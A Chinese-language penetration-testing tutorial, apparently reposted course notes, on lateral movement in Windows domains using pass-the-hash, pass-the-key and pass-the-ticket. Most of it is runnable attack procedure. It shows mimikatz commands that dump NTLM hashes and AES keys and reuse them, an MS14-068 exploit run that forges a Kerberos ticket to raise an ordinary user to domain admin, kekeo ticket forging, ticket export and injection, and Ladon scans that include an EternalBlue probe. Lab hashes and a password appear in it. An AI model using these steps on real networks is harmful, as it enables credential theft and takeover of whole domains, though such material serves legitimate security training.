zoukankan      html  css  js  c++  java
  • 68:内网安全-域横向PTH&PTK&PTT哈希票据传递

    思维导图

    知识点:

    • PTH (pass the hash) 利用lm或者ntlm的值进行的渗透测试
    • PTT (pass the ticket) 利用的票据凭证TGT进行的渗透测试
    • PTK (pass the key) 利用的ekeys aes256进行的渗透测试

    PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash远程访问主机或者服务,而不提供明文密码。

    如果禁用了ntlm认证,PsExec工具无法利用获得的ntlm hash进行远程连接,但是使用mimikatz工具还是可以攻击成功。

    对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。

    总结:KB2871997补丁后的影响

    • pth:没打补丁用户都可以连接,打了补丁只能administrator连接
    • ptk:打了补丁才能用户都可以连接,采用aes256连接
    • https://www.freebuf.com/column/220740.html

    PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

    MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

    其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术(不属于本课内容,以后会讲)

    MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。

    补充-Kerberos协议具体工作方法,在域中,简要介绍一下:

    • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
    • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
    • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
    • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

    本课重点

    • 案例1:域横向移动PTH传递-Mimikatz
    • 案例2:域横向移动PTK传递-Mimikatz
    • 案例3:域横向移动PTT传递-MS14068&kekeo&local
    • 案例4:国产Ladon内网杀器测试验收-信息收集,连接等

    案例1:域横向移动PTH传递-mimikatz

    PTH ntlm传递 - 未打补丁下的工作组及域连接:
    
    sekurlsa::logonPasswords	获取NTLM值
    
    sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7		连接域用户
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c		连接本地用户
    sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
    
    注意区分本地用户与域用户,在实战中都尝试连接一下 
    dir \OWA2010CN-God.god.orgc$
    dir \192.168.3.21c$
    

    案例演示

    <1>当获取到域内一个主机的权限之后,可以使用mimikatz运行sekurlsa::logonPasswords命令获取其LM和NTLM。

    注意:Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据,但是也不排除内网中有老系统,所以在信息收集的时候,最好LM和NTLM都收集一下。

    <2>当收集到NTLM数据后,很有可能内网中有其他主机的NTLM值与我们收集到的一致。此时我们就可以使用NTLM进行内网横向渗透。

    运行以下命令,域横向移动PTH传递,攻击未打补丁下域内主机,其中ccef208c6485269c20db2cad21734fe7是前期信息收集时收集到的NTLM值。

    sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
    

    弹出一个新的cmd框,在弹出框内尝试dir \<域内IP>c$命令,遍历域内IP,尝试连接域内其他主机,只要弹出框,就说明一定有一个域内主机与我们收集到的NTLM值相同。由于我们是为了测试,所以刚才使用的是域控的NTLM值ccef208c6485269c20db2cad21734fe7,所以如下图所示,正好连接域控,接下来我们就可以进行复制文件、执行文件等操作了。

    注意:在PTH ntlm传递之前,连接是失败的。如下图所示,尝试连接并查看域控c盘目录,由于没有用户名密码,登录失败。

    dir \OWA2010CN-God.god.orgc$
    dir \192.168.3.21c$
    

    案例2:域横向移动PTK传递-mimikatz

    PTK aes256传递 - 打补丁后的工作组及域连接:
    
    sekurlsa::ekeys 获取aes256值
    sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
    

    案例演示

    <1>mimikatz运行sekurlsa::ekeys命令获取aes256_hmac。

    <2>运行以下命令,进行域横向移动PTK传递

    sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
    

    在实战中,user、domain、aes256的值都是可以写成一个字典,进行批量测试。

    在实际上,PTK传递比PTH传递用的少,因为PTK传递需要一个前提条件,主机必须打了补丁kb2871997。

    案例3:域横向移动PTT传递-ms14068&kekeo&本地

    总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

    第一种:利用漏洞ms14068

    ms14068,powershell执行,能实现普通用户直接获取域控system权限

    MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

    1.查看当前sid 
    whoami/user //查看当前sid 
    
    2.清空当前机器中所有凭证
    mimikatz # kerberos::purge	//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list	//查看当前机器凭证
    mimikatz # kerberos::ptc 票据文件	//将票据注入到内存中
    
    3.利用ms14-068生成TGT数据
    ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
    MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
    
    4.票据注入内存
    mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
    
    5.查看凭证列表 
    klist //查看凭证列表 
    
    6.利用
    dir 192.168.3.21c$
    dir \OWA2010CN-God.god.orgc$
    

    案例演示

    <1>whoami/user 查看当前sid

    我们知道mary就是域内一个普通用户

    <2>清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

    klist //查看凭证列表 
    klist purge	//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    

    <3>利用ms14-068生成TGT数据

    ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
    MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
    

    <4>将票据注入到内存中

    ./mimikatz.exe 
    kerberos::ptc TGT_mary@god.org.ccache 
    exit
    

    <5>查看凭证列表。klist 查看一下,注入成功。

    <6>利用

    dir 192.168.3.21c$
    dir \OWA2010CN-God.god.orgc$
    

    第二种:利用工具kekeo

    工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

    1.生成票据
    kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
    
    2.导入票据
    kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
    
    3.查看凭证 klist
    
    4.利用
    dir 192.168.3.21c$
    dir \OWA2010CN-God.god.orgc$
    

    案例演示

    <1>生成票据,导入票据

    kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票据
    kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //导入票据
    

    <2>查看凭证 klist

    <3>利用

    dir 192.168.3.21c$
    dir \OWA2010CN-God.god.orgc$
    

    第三种:利用本地票据(需管理权限)

    因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗。

    缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。

    sekurlsa::tickets /export //导出本地票据(需管理权限)
    kerberos::ptt xxxxxxxxxx.xxxx.kirbi //导入票据
    klist //查看票据
    dir \OWA2010CN-God.god.orgc$ //利用
    dir 192.168.3.21c$
    

    案例演示

    <1>导出本地票据(需管理权限)到当前目录

    sekurlsa::tickets /export
    

    下面是所有导出的票据

    此时klist查看票据为空

    <2>导入票据

    kerberos::ptt xxxxxxxxxx.xxxx.kirbi //导入票据
    

    <3>klist查看票据,导入成功。

    <4>利用

    dir \OWA2010CN-God.god.orgc$ //利用
    dir 192.168.3.21c$
    

    案例4:国产Ladon内网杀器测试验收

    信息收集-协议扫描-漏洞探针-传递攻击等

    官网:http://k8gege.org/Ladon/

    具体用法请查看官网wiki,举例如下

    Ladon.exe 192.168.1.8/24 OnlinePC 扫当前机器所处C段的存活主机,其它模块同理
    Ladon.exe 192.168.1.8/24 OsScan 扫当前机器所处C段操作系统版本,其它模块同理
    Ladon.exe 192.168.1.8/24 MysqlScan 扫当前机器所处C段的ssh端口,其它模块同理
    Ladon 192.168.1.8/24 MS17010 扫当前机器所处C段的永恒之蓝漏洞,其它模块同理
    参考:https://www.cnblogs.com/zpchcbd/p/11944486.html
    

      

  • 相关阅读:
    为什么要配置PATH环境变量?如何配置
    JDK,JRE,JVM三者之间的关系,以及JDK、JRE包含的主要结构有哪些
    常用的开发工具
    API文档说明
    Java注释(Comment)
    EditPlus和notepad++配置
    Java第一个程序--HelloWorld
    cmd命令和快捷键
    如何以计算机的方式去思考
    藤野先生后来怎么样了?被自卑隔阂的友谊
  • 原文地址:https://www.cnblogs.com/zhengna/p/15320256.html
Copyright © 2011-2022 走看看